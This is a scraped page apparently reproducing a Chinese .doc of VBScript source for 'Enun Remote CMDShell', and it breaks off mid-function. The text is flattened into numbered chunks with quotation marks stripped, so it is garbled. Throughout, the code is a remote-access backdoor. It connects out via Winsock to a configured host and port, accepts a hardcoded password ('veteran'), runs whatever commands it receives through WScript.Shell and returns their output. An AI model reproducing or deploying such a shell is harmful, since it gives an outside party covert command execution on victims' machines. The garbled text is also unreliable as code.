VBScriptEnunRemoteShell代码.doc

1、效果如图：代码如下 := Enun Remote CMDShell v 1.0=Option ExplicitCONST ACCOUNT_LOCK_TIME = 600000 账户锁定时间，10 分钟CONST LOCKOUT_BAD_COUNT = 3 密码失败次数CONST DEFAULT_WAIT_TIME = 1000 默认延时， 1 秒CONST DEFAULT_TIME_OUT = 60000 默认超时， 60 秒Public WinSocket, sRevData, CountDoOn Error Resume NextDo While (WinSocket.State <

2、> 7)Dim ObjectFSO, GetConfig, Line, Host, Port, iSet WinSocket = WScript.CreateObject(MSWinsock.Winsock)Set ObjectFSO = CreateObject(Scripting.FileSystemObject)Set GetConfig = ObjectFSO.OpenTextFile(.enunrc.ini, 1)For i = 1 To 3Line = GetConfig.ReadLineIf InStr(Line,Host) > 0 Then Host = Split

3、(Line, =, -1, 1)(1) If InStr(Line,Port) > 0 Then Port = Split(Line, =, -1, 1)(1) NextIf (Len(Host) = 0) Then Host = If (Len(Port) = 0) Then Port = 8090WinSocket.Protocol = 0WinSocket.RemoteHost = HostWinSocket.RemotePort = PortWinSocket.ConnectWScript.Sleep DEFAULT_WAIT_TIME * 5Call Trac

4、kScript(2, WinSocket.State, WinSocket.BytesReceived)Setp: 2LoopDo While (WinSocket.State <> 9 and WinSocket.State <> 0) Dim AuthKey, LockoutBadCount, TIMEOUT_M, TIMEOUT_N TIMEOUT_N = 0WinSocket.SendData WinSocket.LocalHostName & is Connected, Enter Password: Do While (WinSocket.Bytes

5、Received = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)TIMEOUT_N = TIMEOUT_N + 1000Call ControlTimeout(TIMEOUT_N)LoopWinSocket.GetData Authkey, vbStringIf Split(Authkey, chr(10), -1, 1)(0) = veteran Then WinSocket.SendData Logon Success, Welcome! & vbcrlf sRevData = veteranDo

6、 While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)Dim ShellObj, ExecutesSet ShellObj = CreateObject(WScript.Shell)Set Executes = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0) WinSocket.SendData Executes.StdOut.ReadAll WinSocket.SendData Executes.Std

7、Err.ReadAll If (Len(sRevData) > 0) ThenTIMEOUT_M = 0WinSocket.SendData vbcrlf & & WinSocket.LocalHostName & enun#:ElseDo While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)TIMEOUT_M = TIMEOUT_M + 1000Call ControlTimeout(TIMEOUT_M)LoopEnd I

8、fIf (LCase(Left(sRevData, 4) = exit) Then WinSocket.CloseWinSocket.GetData sRevData, vbStringWScript.Sleep DEFAULT_WAIT_TIMECall TrackScript(5, WinSocket.State, WinSocket.BytesReceived)Setp: 5LoopElseLockoutBadCount = LockoutBadCount + 1WinSocket.SendData Logon fail: Unknown user name or bad passwor

9、d. & vbcrlfWScript.Sleep DEFAULT_WAIT_TIMEEnd IfIf (LockoutBadCount = LOCKOUT_BAD_COUNT) ThenWinSocket.SendData Failed too many times, the account has been locked! & vbcrlf WScript.Sleep DEFAULT_WAIT_TIMEWinSocket.CloseLockoutBadCount = 0WScript.Sleep ACCOUNT_LOCK_TIME锁定账户End IfCall TrackScr

10、ipt(3, WinSocket.State, WinSocket.BytesReceived)Setp: 3LoopCall TrackScript(1, WinSocket.State, WinSocket.BytesReceived)Setp: 1Loop=Control Timeout.=Public Sub ControlTimeout(Count)If Count = DEFAULT_TIME_OUT ThenWinSocket.SendData vbcrlf & Local server response timeout, Please reconnect . & vbcrlfWScript.Sleep DEFAULT_WAIT_TIMEWinSocket.Close控制端 60 秒内无输入的话，连接自动断开，可即时连接。ElseWScript.Sleep DEFAULT_WAIT_TIMEEnd IfCall TrackScript(4, WinSocket.State, WinSocket.BytesReceived)Setp: 4End Sub=Track Script.=Public Sub TrackScript(M